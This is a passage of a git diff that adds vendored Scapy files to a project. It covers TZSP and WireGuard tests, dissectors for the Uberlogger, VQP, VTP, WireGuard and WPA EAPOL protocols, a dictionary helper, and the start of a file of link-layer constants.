dport=TZSP_PORT_DEFAULT)/ \ + TZSP()/ \ + TZSPTagError(fcs_error=TZSPTagError.YES + 1)/ \ + TZSPTagEnd() + +frm = frm.build() +frm = Ether(frm) +tzsp_tag_error = frm.getlayer(TZSPTagError) +assert(tzsp_tag_error) +tzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error') +assert(tzsp_tag_error_attr) +symb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error) +assert(symb_str == 'reserved') + +== missing TZSP header before end tag + +frm = TZSPTagEnd()/ \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \ + ARP() + +frm = frm.build() +try: + frm = TZSPTagEnd(frm) + assert False +except TZSPStructureException: + pass + +== invalid length field for given tag + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagRawRSSIByte(len=3) / \ + TZSPTagEnd() + +frm = frm.build() +frm = Ether(frm) + +tzsp_lyr = frm.getlayer(TZSP) +assert(type(tzsp_lyr.payload) is Raw ) + +== handling of unknown tag - payload to short + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +SENSOR_ID = '1E:AT:DE:AD:BE:EF' + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + Raw(b'\xff\x0a\x01\x02\x03\x04\x05') + +frm = frm.build() +frm = Ether(frm) +frm.show() +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr) +raw_lyr = tzsp_lyr.payload +assert(type(raw_lyr) is Raw) +assert(raw_lyr.load == b'\xff\x0a\x01\x02\x03\x04\x05') + +== handling of unknown tag - no payload after tag type + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +SENSOR_ID = '1E:AT:DE:AD:BE:EF' + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + Raw(b'\xff') + +frm = frm.build() +frm = Ether(frm) + +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr) +raw_lyr = tzsp_lyr.payload +assert(type(raw_lyr) is Raw) +assert(raw_lyr.load == b'\xff') diff --git a/libs/scapy/contrib/ubberlogger.py b/libs/scapy/contrib/ubberlogger.py new file mode 100755 index 0000000..7dea439 --- /dev/null +++ b/libs/scapy/contrib/ubberlogger.py @@ -0,0 +1,129 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Author: Sylvain SARMEJEANNE + +# scapy.contrib.description = Ubberlogger dissectors +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, IntField, ShortField + +# Syscalls known by Uberlogger +uberlogger_sys_calls = {0: "READ_ID", + 1: "OPEN_ID", + 2: "WRITE_ID", + 3: "CHMOD_ID", + 4: "CHOWN_ID", + 5: "SETUID_ID", + 6: "CHROOT_ID", + 7: "CREATE_MODULE_ID", + 8: "INIT_MODULE_ID", + 9: "DELETE_MODULE_ID", + 10: "CAPSET_ID", + 11: "CAPGET_ID", + 12: "FORK_ID", + 13: "EXECVE_ID"} + +# First part of the header + + +class Uberlogger_honeypot_caract(Packet): + name = "Uberlogger honeypot_caract" + fields_desc = [ByteField("honeypot_id", 0), + ByteField("reserved", 0), + ByteField("os_type_and_version", 0)] + +# Second part of the header + + +class Uberlogger_uber_h(Packet): + name = "Uberlogger uber_h" + fields_desc = [ByteEnumField("syscall_type", 0, uberlogger_sys_calls), + IntField("time_sec", 0), + IntField("time_usec", 0), + IntField("pid", 0), + IntField("uid", 0), + IntField("euid", 0), + IntField("cap_effective", 0), + IntField("cap_inheritable", 0), + IntField("cap_permitted", 0), + IntField("res", 0), + IntField("length", 0)] + +# The 9 following classes are options depending on the syscall type + + +class Uberlogger_capget_data(Packet): + name = "Uberlogger capget_data" + fields_desc = [IntField("target_pid", 0)] + + +class Uberlogger_capset_data(Packet): + name = "Uberlogger capset_data" + fields_desc = [IntField("target_pid", 0), + IntField("effective_cap", 0), + IntField("permitted_cap", 0), + IntField("inheritable_cap", 0)] + + +class Uberlogger_chmod_data(Packet): + name = "Uberlogger chmod_data" + fields_desc = [ShortField("mode", 0)] + + +class Uberlogger_chown_data(Packet): + name = "Uberlogger chown_data" + fields_desc = [IntField("uid", 0), + IntField("gid", 0)] + + +class Uberlogger_open_data(Packet): + name = "Uberlogger open_data" + fields_desc = [IntField("flags", 0), + IntField("mode", 0)] + + +class Uberlogger_read_data(Packet): + name = "Uberlogger read_data" + fields_desc = [IntField("fd", 0), + IntField("count", 0)] + + +class Uberlogger_setuid_data(Packet): + name = "Uberlogger setuid_data" + fields_desc = [IntField("uid", 0)] + + +class Uberlogger_create_module_data(Packet): + name = "Uberlogger create_module_data" + fields_desc = [IntField("size", 0)] + + +class Uberlogger_execve_data(Packet): + name = "Uberlogger execve_data" + fields_desc = [IntField("nbarg", 0)] + + +# Layer bounds for Uberlogger +bind_layers(Uberlogger_honeypot_caract, Uberlogger_uber_h) +bind_layers(Uberlogger_uber_h, Uberlogger_capget_data) +bind_layers(Uberlogger_uber_h, Uberlogger_capset_data) +bind_layers(Uberlogger_uber_h, Uberlogger_chmod_data) +bind_layers(Uberlogger_uber_h, Uberlogger_chown_data) +bind_layers(Uberlogger_uber_h, Uberlogger_open_data) +bind_layers(Uberlogger_uber_h, Uberlogger_read_data) +bind_layers(Uberlogger_uber_h, Uberlogger_setuid_data) +bind_layers(Uberlogger_uber_h, Uberlogger_create_module_data) +bind_layers(Uberlogger_uber_h, Uberlogger_execve_data) diff --git a/libs/scapy/contrib/vqp.py b/libs/scapy/contrib/vqp.py new file mode 100755 index 0000000..da9b60f --- /dev/null +++ b/libs/scapy/contrib/vqp.py @@ -0,0 +1,76 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = VLAN Query Protocol +# scapy.contrib.status = loads + +import struct + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ + FieldLenField, IntEnumField, IntField, IPField, MACField, StrLenField +from scapy.layers.inet import UDP + + +class VQP(Packet): + name = "VQP" + fields_desc = [ + ByteField("const", 1), + ByteEnumField("type", 1, { + 1: "requestPort", 2: "responseVLAN", + 3: "requestReconfirm", 4: "responseReconfirm" + }), + ByteEnumField("errorcodeaction", 0, { + 0: "none", 3: "accessDenied", + 4: "shutdownPort", 5: "wrongDomain" + }), + ByteEnumField("unknown", 2, { + 2: "inGoodResponse", 6: "inRequests" + }), + IntField("seq", 0), + ] + + +class VQPEntry(Packet): + name = "VQPEntry" + fields_desc = [ + IntEnumField("datatype", 0, { + 3073: "clientIPAddress", 3074: "portName", + 3075: "VLANName", 3076: "Domain", 3077: "ethernetPacket", + 3078: "ReqMACAddress", 3079: "unknown", + 3080: "ResMACAddress" + }), + FieldLenField("len", None), + ConditionalField(IPField("datatom", "0.0.0.0"), + lambda p: p.datatype == 3073), + ConditionalField(MACField("data", "00:00:00:00:00:00"), + lambda p: p.datatype == 3078), + ConditionalField(MACField("data", "00:00:00:00:00:00"), + lambda p: p.datatype == 3080), + ConditionalField(StrLenField("data", None, + length_from=lambda p: p.len), + lambda p: p.datatype not in [3073, 3078, 3080]), + ] + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p.data) + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + + +bind_layers(UDP, VQP, sport=1589) +bind_layers(UDP, VQP, dport=1589) +bind_layers(VQP, VQPEntry,) +bind_layers(VQPEntry, VQPEntry,) diff --git a/libs/scapy/contrib/vtp.py b/libs/scapy/contrib/vtp.py new file mode 100755 index 0000000..f855ef2 --- /dev/null +++ b/libs/scapy/contrib/vtp.py @@ -0,0 +1,204 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = VLAN Trunking Protocol (VTP) +# scapy.contrib.status = loads + +r""" + VTP Scapy Extension + ~~~~~~~~~~~~~~~~~~~~~ + + :version: 2009-02-15 + :copyright: 2009 by Jochen Bartl + :e-mail: lobo@c3a.de / jochen.bartl@gmail.com + :license: GPL v2 + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + :TODO: + + - Join messages + - RE MD5 hash calculation + - Have a closer look at 8 byte padding in summary adv: + + "debug sw-vlan vtp packets" says the TLV length is invalid, + when I change the values: + + ``b'\x00\x00\x00\x01\x06\x01\x00\x02'`` + + * \x00\x00 ? + * \x00\x01 tlvtype? + * \x06 length? + * \x00\x02 value? + + - h2i function for VTPTimeStampField + + :References: + + - | Understanding VLAN Trunk Protocol (VTP) + | http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml # noqa: E501 +""" + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ + FieldLenField, IPField, PacketListField, ShortField, SignedIntField, \ + StrFixedLenField, StrLenField, XIntField +from scapy.layers.l2 import SNAP +from scapy.compat import chb +from scapy.config import conf + +_VTP_VLAN_TYPE = { + 1: 'Ethernet', + 2: 'FDDI', + 3: 'TrCRF', + 4: 'FDDI-net', + 5: 'TrBRF' +} + +_VTP_VLANINFO_TLV_TYPE = { + 0x01: 'Source-Routing Ring Number', + 0x02: 'Source-Routing Bridge Number', + 0x03: 'Spanning-Tree Protocol Type', + 0x04: 'Parent VLAN', + 0x05: 'Translationally Bridged VLANs', + 0x06: 'Pruning', + 0x07: 'Bridge Type', + 0x08: 'Max ARE Hop Count', + 0x09: 'Max STE Hop Count', + 0x0A: 'Backup CRF Mode' +} + + +class VTPVlanInfoTlv(Packet): + name = "VTP VLAN Info TLV" + fields_desc = [ + ByteEnumField("type", 0, _VTP_VLANINFO_TLV_TYPE), + ByteField("length", 0), + StrLenField("value", None, length_from=lambda pkt: pkt.length + 1) + ] + + def guess_payload_class(self, p): + return conf.padding_layer + + +class VTPVlanInfo(Packet): + name = "VTP VLAN Info" + fields_desc = [ + ByteField("len", None), + ByteEnumField("status", 0, {0: "active", 1: "suspended"}), + ByteEnumField("type", 1, _VTP_VLAN_TYPE), + FieldLenField("vlannamelen", None, "vlanname", "B"), + ShortField("vlanid", 1), + ShortField("mtu", 1500), + XIntField("dot10index", None), + StrLenField("vlanname", "default", + length_from=lambda pkt: 4 * ((pkt.vlannamelen + 3) // 4)), + ConditionalField( + PacketListField( + "tlvlist", [], VTPVlanInfoTlv, + length_from=lambda pkt: pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) // 4)) # noqa: E501 + ), + lambda pkt:pkt.type not in [1, 2] + ) + ] + + def post_build(self, p, pay): + vlannamelen = 4 * ((len(self.vlanname) + 3) // 4) + + if self.len is None: + tmp_len = vlannamelen + 12 + p = chb(tmp_len & 0xff) + p[1:] + + # Pad vlan name with zeros if vlannamelen > len(vlanname) + tmp_len = vlannamelen - len(self.vlanname) + if tmp_len != 0: + p += b"\x00" * tmp_len + + p += pay + + return p + + def guess_payload_class(self, p): + return conf.padding_layer + + +_VTP_Types = { + 1: 'Summary Advertisement', + 2: 'Subset Advertisements', + 3: 'Advertisement Request', + 4: 'Join' +} + + +class VTPTimeStampField(StrFixedLenField): + def __init__(self, name, default): + StrFixedLenField.__init__(self, name, default, 12) + + def i2repr(self, pkt, x): + return "%s-%s-%s %s:%s:%s" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12]) # noqa: E501 + + +class VTP(Packet): + name = "VTP" + fields_desc = [ + ByteField("ver", 2), + ByteEnumField("code", 1, _VTP_Types), + ConditionalField(ByteField("followers", 1), + lambda pkt:pkt.code == 1), + ConditionalField(ByteField("seq", 1), + lambda pkt:pkt.code == 2), + ConditionalField(ByteField("reserved", 0), + lambda pkt:pkt.code == 3), + ByteField("domnamelen", None), + StrFixedLenField("domname", "manbearpig", 32), + ConditionalField(SignedIntField("rev", 0), + lambda pkt:pkt.code == 1 or + pkt.code == 2), + # updater identity + ConditionalField(IPField("uid", "192.168.0.1"), + lambda pkt:pkt.code == 1), + ConditionalField(VTPTimeStampField("timestamp", '930301000000'), + lambda pkt:pkt.code == 1), + ConditionalField(StrFixedLenField("md5", b"\x00" * 16, 16), + lambda pkt:pkt.code == 1), + ConditionalField( + PacketListField("vlaninfo", [], VTPVlanInfo), + lambda pkt: pkt.code == 2), + ConditionalField(ShortField("startvalue", 0), + lambda pkt:pkt.code == 3) + ] + + def post_build(self, p, pay): + if self.domnamelen is None: + domnamelen = len(self.domname.strip(b"\x00")) + p = p[:3] + chb(domnamelen & 0xff) + p[4:] + + p += pay + + return p + + +bind_layers(SNAP, VTP, code=0x2003) + +if __name__ == '__main__': + from scapy.main import interact + interact(mydict=globals(), mybanner="VTP") diff --git a/libs/scapy/contrib/wireguard.py b/libs/scapy/contrib/wireguard.py new file mode 100755 index 0000000..9eabd0d --- /dev/null +++ b/libs/scapy/contrib/wireguard.py @@ -0,0 +1,101 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + + +# scapy.contrib.description = WireGuard +# scapy.contrib.status = loads + +"""WireGuard Module +Implements the WireGuard network tunnel protocol. +Based on the whitepaper: https://www.wireguard.com/papers/wireguard.pdf +""" + +from scapy.fields import ByteEnumField, ThreeBytesField, XLEIntField, \ + XStrFixedLenField, XLELongField, XStrField +from scapy.layers.inet import UDP +from scapy.packet import Packet, bind_layers + + +class Wireguard(Packet): + """ + Wrapper that only contains the message type. + """ + name = "Wireguard" + + fields_desc = [ + ByteEnumField( + "message_type", 1, + { + 1: "initiate", + 2: "respond", + 3: "cookie reply", + 4: "transport" + } + ), + ThreeBytesField("reserved_zero", 0) + ] + + +class WireguardInitiation(Packet): + name = "Wireguard Initiation" + + fields_desc = [ + XLEIntField("sender_index", 0), + XStrFixedLenField("unencrypted_ephemeral", 0, 32), + XStrFixedLenField("encrypted_static", 0, 48), + XStrFixedLenField("encrypted_timestamp", 0, 28), + XStrFixedLenField("mac1", 0, 16), + XStrFixedLenField("mac2", 0, 16), + ] + + +class WireguardResponse(Packet): + name = "Wireguard Response" + + fields_desc = [ + XLEIntField("sender_index", 0), + XLEIntField("receiver_index", 0), + XStrFixedLenField("unencrypted_ephemeral", 0, 32), + XStrFixedLenField("encrypted_nothing", 0, 16), + XStrFixedLenField("mac1", 0, 16), + XStrFixedLenField("mac2", 0, 16), + ] + + +class WireguardTransport(Packet): + name = "Wireguard Transport" + + fields_desc = [ + XLEIntField("receiver_index", 0), + XLELongField("counter", 0), + XStrField("encrypted_encapsulated_packet", None) + ] + + +class WireguardCookieReply(Packet): + name = "Wireguard Cookie Reply" + + fields_desc = [ + XLEIntField("receiver_index", 0), + XStrFixedLenField("nonce", 0, 24), + XStrFixedLenField("encrypted_cookie", 0, 32), + ] + + +bind_layers(Wireguard, WireguardInitiation, message_type=1) +bind_layers(Wireguard, WireguardResponse, message_type=2) +bind_layers(Wireguard, WireguardCookieReply, message_type=3) +bind_layers(Wireguard, WireguardTransport, message_type=4) +bind_layers(UDP, Wireguard, dport=51820) +bind_layers(UDP, Wireguard, sport=51820) diff --git a/libs/scapy/contrib/wireguard.uts b/libs/scapy/contrib/wireguard.uts new file mode 100755 index 0000000..fb7a654 --- /dev/null +++ b/libs/scapy/contrib/wireguard.uts @@ -0,0 +1,65 @@ +% WireGuard tests + +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('wireguard')" -t scapy/contrib/wireguard.uts + ++ Build packets & dissect + += Build and dissect Transport +wgTransport = Wireguard()/WireguardTransport(receiver_index=1234, counter=1337, encrypted_encapsulated_packet=b"test123") +assert bytes(wgTransport) == b'\x04\x00\x00\x00\xd2\x04\x00\x009\x05\x00\x00\x00\x00\x00\x00test123' + +wgTransport = Wireguard(b'\x04\x00\x00\x00\xe1\x10\x00\x00\x9a\x02\x00\x00\x00\x00\x00\x00test123') +assert wgTransport.message_type == 4 +assert wgTransport[WireguardTransport].receiver_index == 4321 +assert wgTransport[WireguardTransport].counter == 666 +assert wgTransport[WireguardTransport].encrypted_encapsulated_packet == b"test123" + += Build and dissect Init +wgInit = Wireguard()/WireguardInitiation(sender_index=12345, + unencrypted_ephemeral=b"\xaf\xfe"*16, encrypted_static=b"lul", encrypted_timestamp=b"kukuk", mac1="\x01"*16, mac2="\x02"*16 +) +assert bytes(wgInit) == b'\x01\x00\x00\x0090\x00\x00\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfe\xaf\xfelul\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00kukuk\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x01' * 16 + b'\x02' * 16 + +wgInit = Wireguard(b'\x01\x00\x00\x0090\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xffstatisch\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00nixgibts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x03\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04\x04') + +assert wgInit.message_type == 1 +assert wgInit[WireguardInitiation].sender_index == 12345 +assert wgInit[WireguardInitiation].unencrypted_ephemeral == b"\xff"*32 +assert wgInit[WireguardInitiation].encrypted_static == b"statisch" + b"\x00" * 40 +assert wgInit[WireguardInitiation].encrypted_timestamp == b"nixgibts" + b"\x00" * 20 +assert wgInit[WireguardInitiation].mac1 == b"\x03" * 16 +assert wgInit[WireguardInitiation].mac2 == b"\x04" * 16 + += Build and dissect Response +wgResp = Wireguard()/WireguardResponse(sender_index=12345, receiver_index=7878, + unencrypted_ephemeral=b"\x41"*32, encrypted_nothing=b"empty", mac1=b"mac1", mac2=b"mac2" +) + +assert bytes(wgResp) == b'\x02\x00\x00\x0090\x00\x00\xc6\x1e\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAempty\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mac1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mac2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + +wgResp = Wireguard(b'\x02\x00\x00\x00W\x04\x00\x00\xae\x08\x00\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBnotempty\x00\x00\x00\x00\x00\x00\x00\x00mac1lol\x00\x00\x00\x00\x00\x00\x00\x00\x00mac2lol\x00\x00\x00\x00\x00\x00\x00\x00\x00') + +assert wgResp.message_type == 2 +assert wgResp[WireguardResponse].sender_index == 1111 +assert wgResp[WireguardResponse].receiver_index == 2222 +assert wgResp[WireguardResponse].unencrypted_ephemeral == b"B"*32 +assert wgResp[WireguardResponse].encrypted_nothing == b"notempty" + b"\x00" * 8 +assert wgResp[WireguardResponse].mac1 == b"mac1lol" + b"\x00" * 9 +assert wgResp[WireguardResponse].mac2 == b"mac2lol" + b"\x00" * 9 + += Build and dissect Cookie Response +wgCookie = Wireguard()/WireguardCookieReply(receiver_index=3333, + nonce=b"C"*24, encrypted_cookie=b"D"*16 + b"E"*16 +) + +assert bytes(wgCookie) == b'\x03\x00\x00\x00\x05\r\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEE' + + +wgCookie = Wireguard(b'\x03\x00\x00\x00\xb8"\x00\x00KKKKKKKKKKKKKKKKKKKKKKKKLLLLLLLLLLLLLLLLMMMMMMMMMMMMMMMM') + +assert wgCookie.message_type == 3 +assert wgCookie[WireguardCookieReply].receiver_index == 8888 +assert wgCookie[WireguardCookieReply].nonce == b"K"*24 +assert wgCookie[WireguardCookieReply].encrypted_cookie == b"L" * 16 + b"M" * 16 diff --git a/libs/scapy/contrib/wpa_eapol.py b/libs/scapy/contrib/wpa_eapol.py new file mode 100755 index 0000000..1b77a8b --- /dev/null +++ b/libs/scapy/contrib/wpa_eapol.py @@ -0,0 +1,51 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = WPA EAPOL-KEY +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import ByteField, LenField, ShortField, StrFixedLenField, \ + StrLenField +from scapy.layers.eap import EAPOL + + +class WPA_key(Packet): + name = "WPA_key" + fields_desc = [ByteField("descriptor_type", 1), + ShortField("key_info", 0), + LenField("len", None, "H"), + StrFixedLenField("replay_counter", "", 8), + StrFixedLenField("nonce", "", 32), + StrFixedLenField("key_iv", "", 16), + StrFixedLenField("wpa_key_rsc", "", 8), + StrFixedLenField("wpa_key_id", "", 8), + StrFixedLenField("wpa_key_mic", "", 16), + LenField("wpa_key_length", None, "H"), + StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length)] # noqa: E501 + + def extract_padding(self, s): + tmp_len = self.len + return s[:tmp_len], s[tmp_len:] + + def hashret(self): + return chr(self.type) + self.payload.hashret() + + def answers(self, other): + if isinstance(other, WPA_key): + return 1 + return 0 + + +bind_layers(EAPOL, WPA_key, type=3) diff --git a/libs/scapy/dadict.py b/libs/scapy/dadict.py new file mode 100755 index 0000000..6b4ce35 --- /dev/null +++ b/libs/scapy/dadict.py @@ -0,0 +1,122 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Direct Access dictionary. +""" + +from __future__ import absolute_import +from __future__ import print_function +from scapy.error import Scapy_Exception +import scapy.modules.six as six +from scapy.compat import plain_str + +############################### +# Direct Access dictionary # +############################### + + +def fixname(x): + if x and str(x[0]) in "0123456789": + x = "n_" + x + return x.translate( + "________________________________________________" + "0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______" + "abcdefghijklmnopqrstuvwxyz____________________________" + "______________________________________________________" + "___________________________________________________" + ) + + +class DADict_Exception(Scapy_Exception): + pass + + +class DADict: + def __init__(self, _name="DADict", **kargs): + self._name = _name + self.update(kargs) + + def fixname(self, val): + return fixname(plain_str(val)) + + def __contains__(self, val): + return val in self.__dict__ + + def __getitem__(self, attr): + return getattr(self, attr) + + def __setitem__(self, attr, val): + return setattr(self, self.fixname(attr), val) + + def __iter__(self): + return (value for key, value in six.iteritems(self.__dict__) + if key and key[0] != '_') + + def _show(self): + for k in self.__dict__: + if k and k[0] != "_": + print("%10s = %r" % (k, getattr(self, k))) + + def __repr__(self): + return "<%s - %s elements>" % (self._name, len(self.__dict__)) + + def _branch(self, br, uniq=0): + if uniq and br._name in self: + raise DADict_Exception("DADict: [%s] already branched in [%s]" % (br._name, self._name)) # noqa: E501 + self[br._name] = br + + def _my_find(self, *args, **kargs): + if args and self._name not in args: + return False + return all(k in self and self[k] == v for k, v in six.iteritems(kargs)) + + def update(self, *args, **kwargs): + for k, v in six.iteritems(dict(*args, **kwargs)): + self[k] = v + + def _find(self, *args, **kargs): + return self._recurs_find((), *args, **kargs) + + def _recurs_find(self, path, *args, **kargs): + if self in path: + return None + if self._my_find(*args, **kargs): + return self + for o in self: + if isinstance(o, DADict): + p = o._recurs_find(path + (self,), *args, **kargs) + if p is not None: + return p + return None + + def _find_all(self, *args, **kargs): + return self._recurs_find_all((), *args, **kargs) + + def _recurs_find_all(self, path, *args, **kargs): + r = [] + if self in path: + return r + if self._my_find(*args, **kargs): + r.append(self) + for o in self: + if isinstance(o, DADict): + p = o._recurs_find_all(path + (self,), *args, **kargs) + r += p + return r + + def keys(self): + return list(self.iterkeys()) + + def iterkeys(self): + return (x for x in self.__dict__ if x and x[0] != "_") + + def __len__(self): + return len(self.__dict__) + + def __nonzero__(self): + # Always has at least its name + return len(self.__dict__) > 1 + __bool__ = __nonzero__ diff --git a/libs/scapy/data.py b/libs/scapy/data.py new file mode 100755 index 0000000..58046b1 --- /dev/null +++ b/libs/scapy/data.py @@ -0,0 +1,477 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Global variables and functions for handling external data sets. +""" + +import calendar +import os +import re + +from scapy.dadict import DADict +from scapy.consts import FREEBSD, NETBSD, OPENBSD, WINDOWS +from scapy.error import log_loading +from scapy.compat import plain_str +import scapy.modules.six as six + +############ +# Consts # +############ + +ETHER_ANY = b"\x00" * 6 +ETHER_BROADCAST = b"\xff" * 6 + +# From bits/socket.h +SOL_PACKET = 263 +# From asm/socket.h +SO_ATTACH_FILTER = 26 +SO_TIMESTAMPNS = 35 # SO_TIMESTAMPNS_OLD: not 2038 safe + +ETH_P_ALL = 3 +ETH_P_IP = 0x800 +ETH_P_ARP = 0x806 +ETH_P_IPV6 = 0x86dd +ETH_P_MACSEC = 0x88e5 + +# From net/if_arp.h +ARPHDR_ETHER = 1 +ARPHDR_METRICOM = 23 +ARPHDR_PPP = 512 +ARPHDR_LOOPBACK = 772 +ARPHDR_TUN = 65534 + +# From pcap/dlt.h +DLT_NULL = 0 +DLT_EN10MB = 1 +DLT_EN3MB = 2 +DLT_AX25 = 3 +DLT_PRONET = 4 +DLT_CHAOS = 5 +DLT_IEEE802 = 6 +DLT_ARCNET = 7 +DLT_SLIP = 8 +DLT_PPP = 9 +DLT_FDDI = 10 +if OPENBSD: + DLT_RAW = 14 +else: + DLT_RAW = 12 +DLT_RAW_ALT = 101 # At least in Argus +if FREEBSD or NETBSD: + DLT_SLIP_BSDOS = 13 + DLT_PPP_BSDOS = 14 +else: + DLT_SLIP_BSDOS = 15 + DLT_PPP_BSDOS = 16 +if FREEBSD: + DLT_PFSYNC = 121 +else: + DLT_PFSYNC = 18 + DLT_HHDLC = 121 +DLT_ATM_CLIP = 19 +DLT_PPP_SERIAL = 50 +DLT_PPP_ETHER = 51 +DLT_SYMANTEC_FIREWALL = 99 +DLT_C_HDLC = 104 +DLT_IEEE802_11 = 105 +DLT_FRELAY = 107 +if OPENBSD: + DLT_LOOP = 12 + DLT_ENC = 13 +else: + DLT_LOOP = 108 + DLT_ENC = 109 +DLT_LINUX_SLL = 113 +DLT_LTALK = 114 +DLT_PFLOG = 117 +DLT_PRISM_HEADER = 119 +DLT_AIRONET_HEADER = 120 +DLT_IP_OVER_FC = 122 +DLT_IEEE802_11_RADIO = 127 +DLT_ARCNET_LINUX = 129 +DLT_LINUX_IRDA = 144 +DLT_IEEE802_11_RADIO_AVS = 163 +DLT_LINUX_LAPD = 177 +DLT_BLUETOOTH_HCI_H4 = 187 